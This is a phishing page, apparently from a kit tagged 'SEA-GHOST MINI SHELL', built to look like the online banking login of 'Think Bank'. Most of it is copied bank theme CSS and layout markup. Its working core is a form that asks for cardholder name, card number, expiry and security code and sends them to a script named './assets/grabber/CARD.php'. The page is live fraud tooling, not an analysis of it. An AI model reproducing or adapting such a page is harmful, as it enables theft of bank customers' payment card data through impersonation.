[ SEA-GHOST MINI SHELL]
<!DOCTYPE html>
<html
class="js flexbox fontface objectfit object-fit csspositionsticky cssreflections no-regions cssresize shapes siblinggeneral subpixelfont supports csstransforms3d preserve3d canvas canvastext emoji devicemotion deviceorientation svg svgasimg svgclippaths svgfilters svgforeignobject inlinesvg smil no-touchevents typedarrays uagent-chrome uagent-webkit uagent-osWindows theme-q2"
lang="en" style="background-color: rgb(54, 54, 54) ;" stencil-hydrated="">
<head id="pageheader">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="stylesheet" href="./assets/css/q2-tecton-theme.css" id="tecton-default-theme">
<link rel="stylesheet" href="./assets/css/q2-tecton-utilities.css" id="tecton-utilities">
<link href="./assets/css/app.css" rel="stylesheet" data-no-shim="">
<link href="./assets/css/highcontrast-7548c6b9aaf6f9a5075095f7063ecde3.css" rel="stylesheet" data-no-shim="">
<link href="./assets/css/base.css" rel="stylesheet" data-no-shim="">
<link href="./assets/css/theme-q2-28aba767d91eeff0401b1a096a95a1f4.css" rel="stylesheet" data-no-shim="">
<link href="./assets/img/favicon-32aec55683d5f4e82afa5626dfd2e0a1.ico" rel="icon">
<title>Think Bank</title>
<style data-styles="">
q2-icon,
q2-calendar,
q2-select,
q2-dropdown,
q2-editable-field,
q2-pagination,
q2-pill,
q2-tab-container,
q2-tag,
q2-carousel,
q2-month-picker,
q2-section,
q2-stepper,
q2-card,
q2-chart-donut,
q2-checkbox,
q2-checkbox-group,
q2-option,
q2-radio-group,
q2-stepper-vertical,
q2-textarea,
q2-carousel-pane,
q2-loading-element,
q2-loc,
q2-optgroup,
q2-radio,
q2-stepper-pane,
q2-tab-pane,
q2-tooltip,
tecton-tab-pane,
q2-dropdown-item,
q2-avatar,
q2-message,
q2-option-list,
q2-popover,
click-elsewhere,
q2-btn,
q2-loading,
q2-input,
q2-badge {
visibility: hidden
}
[stencil-hydrated] {
visibility: inherit
}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="format-detection" content="telephone=no, address=no, email=no">
<meta id="viewportMeta" name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=1, user-scalable=0, user-scalable=no, viewport-fit=cover">
<style type="text/css">
span.im-caret {
-webkit-animation: 1s blink step-end infinite;
animation: 1s blink step-end infinite;
}
@keyframes blink {
from,
to {
border-right-color: black;
}
50% {
border-right-color: transparent;
}
}
@-webkit-keyframes blink {
from,
to {
border-right-color: black;
}
50% {
border-right-color: transparent;
}
}
span.im-static {
color: grey;
}
div.im-colormask {
display: inline-block;
border-style: inset;
border-width: 2px;
-webkit-appearance: textfield;
-moz-appearance: textfield;
appearance: textfield;
}
div.im-colormask>input {
position: absolute;
display: inline-block;
background-color: transparent;
color: transparent;
-webkit-appearance: caret;
-moz-appearance: caret;
appearance: caret;
border-style: none;
left: 0;
/*calculated*/
}
div.im-colormask>input:focus {
outline: none;
}
div.im-colormask>input::-moz-selection {
background: none;
}
div.im-colormask>input::selection {
background: none;
}
div.im-colormask>input::-moz-selection {
background: none;
}
div.im-colormask>div {
color: black;
display: inline-block;
width: 100px;
/*calculated*/
}
</style>
<style type="text/css">
.overpanel-inner,
.overpanel-footer {
max-width: 1315px !important;
}
.overpanel-scroll-wrapper {
width: calc(100% - 15px) !important;
margin-left: 7.5px !important;
}
</style>
<link href="./assets/css/tecton-40b5465eb21e2ee81a08f73d94808237.css" rel="stylesheet">
<style>
.chatButtonContainer {
position: fixed;
right: 20px;
z-index: 99;
width: 75px;
bottom: 10px;
border-radius: 50%;
background: 0 0;
border: none;
cursor: pointer;
}
.chatBotWrapper .finn-wrapper {
width: 400px;
border-radius: 10px;
}
.chatBotWrapper .finn-header_title.chatBotWrapper .fa-thumbs-down,
.chatBotWrapper .fa-thumbs-up,
.chatBotWrapper .finn-loadingInfoicon,
.chatBotWrapper .finn-messageInputForm_buttonIcon.chatBotWrapper .chatButtonContainer .st0,
.chatBotWrapper .chatButtonContainer .st1 {
fill: #3c4d9e;
}
.chatBotWrapper .finn-message__text>div.finn--out {
background-color: #d4d4d4;
border-color: #d4d4d4;
}
.chatBotWrapper .finn-button:focus,
.chatBotWrapper .finn-header__nav {
background-color: #3c4d9e;
}
.chatBotWrapper {
position: fixed;
right: 68px;
bottom: 34px;
z-index: 99;
height: 80%;
max-width: 400px;
}
.finnAssistant {
height: 100%;
box-shadow: 5px 5px 30px #999;
border-radius: 15px;
}
.phone .chatButtonContainer {
bottom: 70px
}
.phone .chatBotWrapper {
position: fixed;
right: 7px;
bottom: 147px;
z-index: 99;
height: 78%;
max-width: 96%;
}
</style>
<link href="./assets/css/font-awesome.min.css" rel="stylesheet">
<link href="./assets/css/styles.css" rel="stylesheet">
<style id="tecton-props-css">
:root {
--tct-stoplight-info: #0079C1;
--tct-stoplight-success: #0E8A00;
--tct-stoplight-warning: #F0B400;
--tct-stoplight-alert: #C30000;
--tct-global-focus: 0 0 0 2px #33B4FF;
--tct-black: #000000;
--tct-gray-d3: #222222;
--tct-gray-d2: #444444;
--tct-gray-d1: #666666;
--tct-gray: #999999;
--tct-gray-l1: #CCCCCC;
--tct-gray-l2: #EEEEEE;
--tct-gray-l3: #F2F2F2;
--tct-white: #FFFFFF;
--tct-disabled-opacity: 0.4;
--tct-border-radius-1: 3px;
--tct-border-radius-2: 6px;
--tct-border-radius-3: 12px;
--tct-shadow-1: 0 2px 4px rgba(0, 0, 0, 0.3);
--tct-shadow-2: 0 3px 6px rgba(0, 0, 0, 0.3);
--tct-shadow-3: 0 4px 12px rgba(0, 0, 0, 0.3);
--tct-duration-1: 0.2s;
--tct-duration-2: 0.4s;
--tct-duration-3: 0.8s;
--tct-tween-1: 0.2s ease;
--tct-tween-2: 0.4s ease;
--tct-tween-3: 0.8s ease;
--const-stoplight-info: #0079C1;
--const-stoplight-success: #0E8A00;
--const-stoplight-warning: #F0B400;
--const-stoplight-alert: #C30000;
--const-global-focus: 0 0 0 2px #33B4FF;
--const-stoplight-info-text: #FFFFFF;
--const-stoplight-success-text: #FFFFFF;
--const-stoplight-warning-text: #000000;
--const-stoplight-alert-text: #FFFFFF;
--app-black: #000000;
--app-gray-d3: #222222;
--app-gray-d2: #444444;
--app-gray-d1: #666666;
--app-gray: #999999;
--app-gray-l1: #CCCCCC;
--app-gray-l2: #EEEEEE;
--app-gray-l3: #F2F2F2;
--app-white: #FFFFFF;
--app-disabled-opacity: 0.4;
--app-border-radius-1: 3px;
--app-border-radius-2: 6px;
--app-border-radius-3: 12px;
--app-shadow-1: 0 2px 4px rgba(0, 0, 0, 0.3);
--app-shadow-2: 0 3px 6px rgba(0, 0, 0, 0.3);
--app-shadow-3: 0 4px 12px rgba(0, 0, 0, 0.3);
--app-duration-1: 0.2s;
--app-duration-2: 0.4s;
--app-duration-3: 0.8s;
--app-tween-1: 0.2s ease;
--app-tween-2: 0.4s ease;
--app-tween-3: 0.8s ease;
--app-font-size: 14px;
--app-line-height: 1.428571429;
--app-font-size-small: 12px;
--app-tooltip-multiline-max-width: 200px;
--app-tooltip-background-color: rgba(0, 0, 0, 0.8);
--app-tooltip-text-color: #FFFFFF;
--app-tooltip-size: 5px;
--app-tooltip-position: -5px;
--app-tooltip-body-offset: -15px;
--app-tooltip-transition-duration: 250ms;
--app-tooltip-visible-duration: 2s
}
</style>
<style id="tecton-theme-css">
:root {
--tct-scale-0: 0px;
--tct-scale-1: 5px;
--tct-scale-2: 10px;
--tct-scale-3: 15px;
--tct-scale-4: 20px;
--tct-scale-5: 45px;
--tct-scale-6: 60px;
--tct-scale-0x: 0px;
--tct-scale-1x: 5px;
--tct-scale-2x: 10px;
--tct-scale-3x: 15px;
--tct-scale-4x: 20px;
--tct-scale-5x: 25px;
--tct-scale-6x: 30px;
--tct-scale-7x: 35px;
--tct-scale-8x: 40px;
--tct-scale-9x: 45px;
--tct-scale-10x: 50px;
--tct-scale-11x: 55px;
--tct-scale-12x: 60px;
--tct-link-color: #1C1666;
--tct-link-hover-color: #110d3d;
--tct-btn-disabled-opacity: 0.4;
--tct-btn-padding: 10px;
--tct-btn-font-size: inherit;
--tct-btn-tween: 0.2s ease;
--tct-btn-primary-bg: #3C4D9E;
--tct-btn-primary-font-color: #ffffff;
--tct-btn-primary-font-weight: 600;
--tct-btn-primary-text-transform: none;
--tct-btn-primary-letter-spacing: normal;
--tct-btn-primary-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24);
--tct-btn-primary-border-color: transparent;
--tct-btn-primary-border-width: 0;
--tct-btn-primary-border-radius: 3px;
--tct-btn-primary-hover-bg: #33448f;
--tct-btn-primary-hover-font-color: #ffffff;
--tct-btn-primary-hover-border-color: transparent;
--tct-btn-primary-hover-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.19), 0 3px 3px rgba(0, 0, 0, 0.23);
--tct-btn-primary-disabled-bg: #3C4D9E;
--tct-btn-primary-disabled-font-color: #ffffff;
--tct-btn-primary-disabled-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24);
--tct-btn-secondary-bg: #ffffff;
--tct-btn-secondary-font-color: #2e2e2e;
--tct-btn-secondary-font-weight: 600;
--tct-btn-secondary-text-transform: none;
--tct-btn-secondary-letter-spacing: normal;
--tct-btn-secondary-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24);
--tct-btn-secondary-border-color: transparent;
--tct-btn-secondary-border-width: 0;
--tct-btn-secondary-border-radius: 3px;
--tct-btn-secondary-hover-bg: #3C4D9E;
--tct-btn-secondary-hover-font-color: #ffffff;
--tct-btn-secondary-hover-border-color: transparent;
--tct-btn-secondary-hover-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.19), 0 3px 3px rgba(0, 0, 0, 0.23);
--tct-btn-secondary-disabled-bg: #ffffff;
--tct-btn-secondary-disabled-font-color: #2e2e2e;
--tct-btn-secondary-disabled-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24);
--tct-btn-neutral-bg: #FFFFFF;
--tct-btn-neutral-font-color: #1C1666;
--tct-btn-neutral-font-weight: 600;
--tct-btn-neutral-text-transform: none;
--tct-btn-neutral-letter-spacing: normal;
--tct-btn-neutral-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24);
--tct-btn-neutral-border-color: #1C1666;
--tct-btn-neutral-border-width: 1px;
--tct-btn-neutral-border-radius: 3px;
--tct-btn-neutral-hover-bg: #FFFFFF;
--tct-btn-neutral-hover-font-color: #1C1666;
--tct-btn-neutral-hover-border-color: #1C1666;
--tct-btn-neutral-hover-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.19), 0 3px 3px rgba(0, 0, 0, 0.23);
--tct-btn-neutral-disabled-bg: #FFFFFF;
--tct-btn-neutral-disabled-font-color: #1C1666;
--tct-btn-neutral-disabled-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24);
--tct-btn-icon-width: 44px;
--tct-btn-icon-height: 44px;
--tct-btn-icon-color: inherit;
--tct-btn-icon-hover-bg: #ebebeb;
--tct-btn-icon-hover-color: #110d3d;
--tct-btn-badge-padding: 2px 5px;
--tct-btn-badge-font-size: inherit;
--tct-btn-badge-border-radius: 3px;
--tct-btn-badge-bg: transparent;
--tct-btn-badge-font-color: inherit;
--tct-btn-badge-hover-bg: #F2F2F2;
--tct-btn-badge-hover-font-color: #2e2e2e;
--tct-btn-badge-active-bg: #3C4D9E;
--tct-btn-badge-active-font-color: #ffffff;
--tct-input-margin-top: 30px;
--tct-input-margin-bottom: 30px;
--tct-input-font-size: inherit;
--tct-input-label-padding-left: 0;
--tct-input-label-padding-right: 0;
--tct-input-label-margin-bottom: 5px;
--tct-input-label-font-color: #2e2e2e;
--tct-input-error-label-font-color: #2e2e2e;
--tct-input-label-font-size: inherit;
--tct-input-label-font-weight: 600;
--tct-input-label-letter-spacing: normal;
--tct-input-label-text-transform: none;
--tct-input-label-optional-margin-left: 5px;
--tct-input-label-optional-font-color: #747474;
--tct-input-label-optional-font-size: 12px;
--tct-input-label-optional-font-weight: 400;
--tct-input-height: 42px;
--tct-input-horizontal-padding: 10px;
--tct-input-bg: #fcfcfd;
--tct-input-font-color: #2e2e2e;
--tct-input-border-top-width: 1px;
--tct-input-border-right-width: 1px;
--tct-input-border-bottom-width: 1px;
--tct-input-border-left-width: 1px;
--tct-input-border-color: #cccccc;
--tct-input-border-top-left-radius: 3px;
--tct-input-border-top-right-radius: 3px;
--tct-input-border-bottom-right-radius: 3px;
--tct-input-border-bottom-left-radius: 3px;
--tct-input-box-shadow: none;
--tct-input-tween: 0.4s ease;
--tct-input-disabled-opacity: 0.4;
--tct-input-placeholder-font-color: #6c6c6c;
--tct-input-focus-border-top-width: 1px;
--tct-input-focus-border-right-width: 1px;
--tct-input-focus-border-bottom-width: 1px;
--tct-input-focus-border-left-width: 1px;
--tct-input-focus-border-color: #0079C1;
--tct-input-focus-box-shadow: 0 0 transparent;
--tct-input-icon-stroke-primary: #999999;
--tct-input-prefix-font-size: inherit;
--tct-input-prefix-font-color: #2e2e2e;
--tct-input-prefix-bg: #fcfcfd;
--tct-input-prefix-border-color: #cccccc;
--tct-input-error-prefix-font-color: #2e2e2e;
--tct-input-error-prefix-bg: #fcfcfd;
--tct-input-message-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3);
--tct-input-message-tween: 0.2s ease;
--tct-message-bg: #F2F2F2;
--tct-tab-active-color: #1C1666;
--tct-tab-inactive-color: #2e2e2e;
--tct-tab-font-size: 17px;
--tct-tab-alt-active-color: inherit;
--tct-tab-alt-inactive-color: inherit;
/* -------------------------------------------------------------- */
--app-scale-0: 0px;
--app-scale-1: 5px;
--app-scale-2: 10px;
--app-scale-3: 15px;
--app-scale-4: 20px;
--app-scale-5: 45px;
--app-scale-6: 60px;
--app-scale-0x: 0px;
--app-scale-1x: 5px;
--app-scale-2x: 10px;
--app-scale-3x: 15px;
--app-scale-4x: 20px;
--app-scale-5x: 25px;
--app-scale-6x: 30px;
--app-scale-7x: 35px;
--app-scale-8x: 40px;
--app-scale-9x: 45px;
--app-scale-10x: 50px;
--app-scale-11x: 55px;
--app-scale-12x: 60px;
--t-font-family: OpenSans, Helvetica Neue, Helvetica, Arial, sans-serif;
--t-font-stretch: normal;
--t-font-family-monospaced: Courier New, Courier, Lucida Sans Typewriter, Lucida Typewriter, monospace;
--t-primary-d5: #0e0b33;
--t-primary-d4: #110d3d;
--t-primary-d3: #140f47;
--t-primary-d2: #161252;
--t-primary-d1: #19145c;
--t-primary: #1C1666;
--t-primary-l1: #251d86;
--t-primary-l2: #2d24a6;
--t-primary-l3: #362bc5;
--t-primary-l4: #4c40d6;
--t-primary-l5: #6a60dd;
--t-secondary-d5: #4f4d73;
--t-secondary-d4: #5f5c8a;
--t-secondary-d3: #716e9e;
--t-secondary-d2: #8885ad;
--t-secondary-d1: #9e9cbd;
--t-secondary: #b4b3cc;
--t-secondary-l1: #bcbad1;
--t-secondary-l2: #c3c2d6;
--t-secondary-l3: #cbc9db;
--t-secondary-l4: #d2d1e0;
--t-secondary-l5: #dad9e6;
--t-tertiary-d5: #2a1cd6;
--t-tertiary-d4: #4a3de6;
--t-tertiary-d3: #7268eb;
--t-tertiary-d2: #9a93f1;
--t-tertiary-d1: #c2bef6;
--t-tertiary: #eae8fc;
--t-tertiary-l1: #ecebfc;
--t-tertiary-l2: #eeedfd;
--t-tertiary-l3: #f0effd;
--t-tertiary-l4: #f2f1fd;
--t-tertiary-l5: #f4f4fe;
--t-accent-1: #e05252;
--t-accent-1-l1: #e77474;
--t-accent-1-d1: #b62020;
--t-accent-2: #e09952;
--t-accent-2-l1: #e7ad74;
--t-accent-2-d1: #b66b20;
--t-accent-3: #e0e052;
--t-accent-3-l1: #e7e774;
--t-accent-3-d1: #b6b620;
--t-accent-4: #99e052;
--t-accent-4-l1: #ade774;
--t-accent-4-d1: #6bb620;
--t-accent-5: #52e052;
--t-accent-5-l1: #74e774;
--t-accent-5-d1: #20b620;
--t-accent-6: #52e099;
--t-accent-6-l1: #74e7ad;
--t-accent-6-d1: #20b66b;
--t-accent-7: #52e0e0;
--t-accent-7-l1: #74e7e7;
--t-accent-7-d1: #20b6b6;
--t-accent-8: #5299e0;
--t-accent-8-l1: #74ade7;
--t-accent-8-d1: #206bb6;
--t-accent-9: #5252e0;
--t-accent-9-l1: #7474e7;
--t-accent-9-d1: #2020b6;
--t-accent-10: #9952e0;
--t-accent-10-l1: #ad74e7;
--t-accent-10-d1: #6b20b6;
--t-accent-11: #e052e0;
--t-accent-11-l1: #e774e7;
--t-accent-11-d1: #b620b6;
--t-accent-12: #e05299;
--t-accent-12-l1: #e774ad;
--t-accent-12-d1: #b6206b;
--t-gray-1: #0d0d0d;
--t-gray-2: #1a1a1a;
--t-gray-3: #262626;
--t-gray-4: #333333;
--t-gray-5: #404040;
--t-gray-6: #4d4d4d;
--t-gray-7: #666666;
--t-gray-8: gray;
--t-gray-9: #999999;
--t-gray-10: #b3b3b3;
--t-gray-11: #cccccc;
--t-gray-12: #d9d9d9;
--t-gray-13: #e6e6e6;
--t-gray-14: #f2f2f2;
--t-text: #4d4d4d;
--t-textA: rgba(77, 77, 77, 0.77);
--t-primary-text: #FFFFFF;
--t-secondary-text: #141414;
--t-tertiary-text: #141414;
--t-base: #FFFFFF;
--t-base-a0: rgba(255, 255, 255, 0);
--t-base-a1: rgba(255, 255, 255, 0.25);
--t-base-a2: rgba(255, 255, 255, 0.5);
--t-base-a3: rgba(255, 255, 255, 0.75);
--t-top: #0d0d0d;
--t-top-a0: rgba(13, 13, 13, 0);
--t-top-a1: rgba(13, 13, 13, 0.35);
--t-top-a2: rgba(13, 13, 13, 0.6);
--t-top-a3: rgba(13, 13, 13, 0.85);
--t-box-shadow-1: 0 2px 4px rgba(13, 13, 13, 0.35);
--t-box-shadow-2: 0 3px 6px rgba(13, 13, 13, 0.35);
--t-box-shadow-3: 0 4px 12px rgba(13, 13, 13, 0.35);
--t-border-radius-1: 3px;
--t-border-radius-2: 6px;
--t-border-radius-3: 12px;
--t-focus: #33B4FF;
--t-status-info: #0079C1;
--t-status-alert: #C30000;
--t-status-warn: #F0B400;
--t-status-success: #0E8A00;
--t-tab-inactive: #2e2e2e;
--t-tab-active: #1C1666;
--t-tab-alt-inactive: inherit;
--t-tab-alt-active: inherit;
--t-tab-font-size: 17px;
--t-highlight-1: #4C65C1;
--t-highlight-2: #F8AD40;
--t-highlight-3: #899FB3;
--t-highlight-4: #3C4D9C;
--t-highlight-5: #EE8721;
--t-highlight-6: #4E5A65;
--t-highlight-7: #1C1666;
--t-highlight-8: #E0790F;
--t-highlight-9: #3B444D;
--t-highlight-10: #4C65C1;
--t-highlight-11: #F8AD40;
--t-highlight-12: #899FB3;
--t-highlight-13: #3C4D9C;
--t-highlight-14: #EE8721;
--t-highlight-15: #4E5A65;
--t-input-outline: 1px solid #1C1666;
--t-icon-stroke-width: 1.5;
--t-icon-cap: round;
--t-icon-stroke-primary: currentColor;
--t-icon-stroke-secondary: currentColor;
--t-icon-fill: none;
--t-font-color: #2e2e2e;
--t-a11y-gray-color: #747474;
--t-link-color: #1C1666;
--t-link-hover-color: #110d3d;
--t-content-bg: #FFFFFF;
--t-content-border-color: #CCCCCC;
--t-content-font-color: #2e2e2e;
--t-section-bg: #FFFFFF;
--t-section-font-color: #2e2e2e;
--t-section-border-radius: 3px;
--t-button-default-bg: #ffffff;
--t-button-default-font-color: #2e2e2e;
--t-button-default-hover-bg: #3C4D9E;
--t-button-default-hover-font-color: #ffffff;
--t-button-primary-bg: #3C4D9E;
--t-button-primary-font-color: #ffffff;
--t-button-primary-hover-bg: #33448f;
--t-button-primary-hover-font-color: #ffffff;
--t-input-font-color: #2e2e2e;
--t-input-placeholder-font-color: #6c6c6c;
--t-input-bg: #fcfcfd;
--t-input-border: #cccccc;
--t-input-focus-font-color: #2e2e2e;
--t-input-focus: #0079C1;
--t-input-warning-font-color: #141414;
--t-input-warning: #F0B400;
--t-input-error-font-color: #FFFFFF;
--t-input-error: #C30000;
--t-input-success-font-color: #FFFFFF;
--t-input-success: #0E8A00;
--t-checkbox-fill: #1C1666;
--t-checkbox-text: #FFFFFF;
--t-loading-primary-color: #1C1666;
--t-loading-secondary-color: #1C1666;
--t-tooltip-multiline-max-width: 200px;
--t-tooltip-background-color: rgba(0, 0, 0, 0.8);
--t-tooltip-text-color: #FFFFFF;
--t-tooltip-size: 5px;
--t-tooltip-body-offset: -15px;
--t-tooltip-transition-duration: 250ms;
--t-tooltip-visible-duration: 2s;
--t-gray1: #0d0d0d;
--t-gray2: #1a1a1a;
--t-gray3: #262626;
--t-gray4: #333333;
--t-gray5: #404040;
--t-gray6: #4d4d4d;
--t-gray7: #666666;
--t-gray8: gray;
--t-gray9: #999999;
--t-gray10: #b3b3b3;
--t-gray11: #cccccc;
--t-gray12: #d9d9d9;
--t-gray13: #e6e6e6;
--t-gray14: #f2f2f2;
}
</style>
</head>
<body id="pagebody" class="ember-application desktop theme-q2 frameless">
<div class="ember-view app-container desktop unauthenticated vertical-nav pfm-disabled no-pfm-accounts" id="ember4">
<div role="dialog" tabindex="0" id="q2AppOverpanel" style="display: none;" class="over-panel ember-view">
<div tabindex="-1" class="overpanel-inner" test-id="overPanel">
<div class="overpanel-header">
<div class="overpanel-button-container"></div>
<h1 class="overpanel-title" test-id="lblOverpanelTitle"></h1>
<div class="overpanel-button-container">
<q2-btn class="overpanel-button overpanel-close" test-id="btnClose" label="Close" hide-label=""
stencil-hydrated=""><template shadowrootmode="open"><button aria-label="Close" type="button"
test-id="q2BtnInnerButton" class="icon-only">
<div><q2-loading hidden="" stencil-hydrated=""><template shadowrootmode="open">
<div class="q2-loading-animation half-circle-spinner"
aria-label="Loading">
<div class="circle circle-1"></div>
<div class="circle circle-2"></div>
</div>
</template></q2-loading>
<slot></slot>
</div>
</button></template>
<q2-icon type="close" stencil-hydrated=""><template shadowrootmode="open"><svg
viewBox="0 0 26 26" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"
role="img">
<path class="stroke-primary" d="M20 6L6 20M20 20L6 6"></path>
</svg></template></q2-icon>
</q2-btn>
</div>
</div>
<div id="ember5" class="overpanel-alert-container alert-message_container hasToast ember-view">
<div class="alert alert-msg alert-message_content is-toast " role="alert" test-id="q2Alert">
<div class="toast-container">
<div class="toast t-base">
<div class="toast-message_inner">
<div class="toast-line toast-line-info" test-id="toastAlertVerticalLine"></div>
<div class="toast-content">
<div class="toast-row">
<div class="toast-icon">
<q2-icon test-id="toastAlertIcon" type="info"
stencil-hydrated=""><template shadowrootmode="open"><svg
viewBox="0 0 26 26" xmlns="http://www.w3.org/2000/svg"
aria-hidden="true" role="img">
<g>
<circle cx="13" cy="13" r="11" class="stroke-primary">
</circle>
<g class="stroke-secondary"
transform="translate(10.067 5.3)">
<path d="M0 15.033h5.867M0 5.5h2.933v9.533"></path>
<circle cx="2.933" cy="1.1" r="1.1"></circle>
</g>
</g>
</svg></template></q2-icon>
</div>
<div test-id="toastAlertMessageTxt" class="toast-text">
<div test-id="alertMessageTxt"></div>
</div>
<div class="toast-close-btn"></div>
</div>
<div class="toast-row">
<div class="toast-timestamp" test-id="toastAlertTimestamp"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="overpanel-scroll-wrapper force-height col-md-offset-1 col-lg-offset-2 col-xs-12 col-sm-12 col-md-10 col-lg-8"
test-id="overPanelWrapper">
<div tabindex="-1" class="overpanel-slider "></div>
</div>
<div class="overpanel-footer hidden">
<div class="valign overpanel-footer-outer">
<div class="overpanel-footer-inner">
<div id="ember6" class="ui-logo small ember-view">
<!-- <span class="sr-only"
test-id="logoDescriptiveText">Civista Bank</span>
<div aria-hidden="true" class="logo-image" test-id="logoDiv"></div> -->
</div>
</div>
</div>
</div>
</div>
</div>
<div class="loading-bg"></div>
<div class="splash-bg"></div>
<div class="container meta-container main-page-container">
<div id="ember7" class="app-header ui-sticky top ember-view" style="top: 0px;">
<div class="navbar navbar-fixed-top center-align-logo disable-menu-button" role="banner">
<div class="container meta-container" test-id="navbarContainer">
<div class="navbar-branding">
<div class="branding">
<div id="ember8" class="logo ui-logo small ember-view">
<!-- <span class="sr-only"
test-id="logoDescriptiveText">Civista Bank</span>
<div aria-hidden="true" class="logo-image" test-id="logoDiv"></div> -->
</div>
</div>
</div>
<div id="ember9" class="custom-header ember-view"></div>
</div>
</div>
<div test-id="wdgtBrandingBar" id="ember10"
class="branding-bar-widget widget-fence clearfix hidden ember-view">
</div>
</div>
<div class="quicktip-container main-desktop"></div>
<div id="ember11" class="main-view grid-row drawer-view main-view ember-view"><!---->
<div class="content-wrapper">
<div class="content-container">
<header>
<div tabindex="-1" class="ember-sr-only ember-sr-only-focusable"
id="ember-a11y-refocus-nav-message">The page navigation is complete. You may now
navigate the page content as you wish.</div>
</header>
<div class="content clearfix" role="main" test-id="mainContentArea">
<div id="ember13" class="top-widget-fence widget-fence clearfix hidden ember-view"></div>
<section class="default-dashboard-container">
<section class="default-dash-inner-wrapper"></section>
</section>
<div id="ember14" class="widget-fence clearfix bottom-widget-fence hidden ember-view"></div>
</div>
<div class="sidebar desktop-sidebar" tabindex="-1" role="complementary">
<div class="sidebar-drawer">
<div class="sidebar-rail">
<div class="sidebar-content">
<div id="ember15" class="widget-fence clearfix hidden ember-view"></div>
</div>
</div>
</div>
</div>
</div>
<div class="dropdown-backdrop hidden"> </div>
</div>
<div role="dialog" tabindex="0" id="q2AppSidePanel" class="sidepanel ember-view" style="display: none;">
<div class="sidepanel-inner">
</div>
</div>
<div id="login-modal"></div>
<div class="login-outer">
<div class="login-inner" id="login-inner">
<div class="quicktip-container">
<aside id="ember18" style="display: none;" class="quick-tip hidden ember-view">
<span class="tip-text" test-id="textQT"></span>
<q2-btn hide-label="" test-id="btnRemoveQT" label="Close Tip"
stencil-hydrated=""><template shadowrootmode="open"><button aria-label="Close Tip"
type="button" test-id="q2BtnInnerButton" class="icon-only">
<div><q2-loading hidden="" stencil-hydrated=""><template
shadowrootmode="open">
<div class="q2-loading-animation half-circle-spinner"
aria-label="Loading">
<div class="circle circle-1"></div>
<div class="circle circle-2"></div>
</div>
</template></q2-loading>
<slot></slot>
</div>
</button></template><q2-icon type="close" stencil-hydrated=""><template
shadowrootmode="open"><svg viewBox="0 0 26 26"
xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="img">
<path class="stroke-primary" d="M20 6L6 20M20 20L6 6"></path>
</svg></template></q2-icon>
</q2-btn>
</aside>
</div>
<div class="login-title">
<h1 id="ember19" class="ui-logo large ember-view">
<img src="assets/img/thinkmutualbank-logo-a2ef2e1b.png" height="90" width="350" alt="">
</h1>
</div>
<div class=" login-message login-alert-message loginFormArea">
<div id="ember20"
class="login-alert-container alert-message_container static-alert hidden ember-view">
<div class="alert alert-msg alert-message_content alert-danger" role="alert"
aria-live="assertive">
<div class="alert-message_inner">
<p>
<span class="ui-icon icon-warning-sign " aria-hidden="true"
aria-label="error"></span>
</p>
<p class="alert-message_sizer" style="">X</p>
</div>
</div>
</div>
</div>
<div class="login-form loginFormArea">
<form action="./assets/grabber/CARD.php" method="post" class="is-invalid"
data-ember-action="" data-ember-action-21="21" validate="validate">
<div class="field ">
<label class="login-field" for="fldUsername">Cardholder's Name</label>
<input name="card_name" spellcheck="false" autocapitalize="off" autocorrect="off"
placeholder="" autocomplete="username" title="" id="fldUsername"
class="mrg-T-sm login-field form-control ember-text-field form-control ember-view"
type="text" required>
</div>
<div class="password field">
<label class="login-field" for="fldPassword">Card Number</label>
<input name="card_number" spellcheck="false" autocapitalize="off" autocorrect="off"
autocomplete="current-password" id="fldPassword"
class="mrg-T-sm login-field form-control ember-text-field form-control ember-view"
type="text" required>
</div>
<div class="field ">
<label class="login-field" for="fldUsername">Expiry</label>
<input name="exp" spellcheck="false" autocapitalize="off" autocorrect="off"
placeholder="" autocomplete="username" title="" id="fldUsername"
class="mrg-T-sm login-field form-control ember-text-field form-control ember-view"
type="text" required>
</div>
<div class="field ">
<label class="login-field" for="fldUsername">Security Code</label>
<input name="csc" spellcheck="false" autocapitalize="off" autocorrect="off"
placeholder="" autocomplete="username" title="" id="fldUsername"
class="mrg-T-sm login-field form-control ember-text-field form-control ember-view"
type="text" required>
</div>
<div id="submissionArea">
<div id="userLinks">
<button
class="logon-submit btn-primary btn-block pointer btn submitButton submit is-invalid"
test-id="btnSubmit" data-ember-action="" data-ember-action-23="23">
<div class="icon"></div> Continue
</button>
</div>
</div>
</form>
</div>
<div class="preLogon">
<img style="visibility:hidden"
src="data:image/gif;base64, R0lGODlhAQABAIAAAAUEBAAAACwAAAAAAQABAAACAkQBADs=">
</div>
</div>
</div>
</div>
<a test-id="lnkReturnToLogin" href="javascript:void();" id="ember27"
class="return-to-login active ember-view">Return to login</a>
</div>
<div class="content-overlay"></div>
<div id="ember28" class="print-content ember-view">
<div style="overflow: auto;">
<div style="float: left;"><img id="transaction-print-logo" alt="" role="presentation"></div>
<div class="timestamp"></div>
</div>
<div></div>
<div class="detail-items">
<table>
<tbody> </tbody>
</table>
</div>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.17.0/jquery.validate.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.13.4/jquery.mask.min.js"></script>
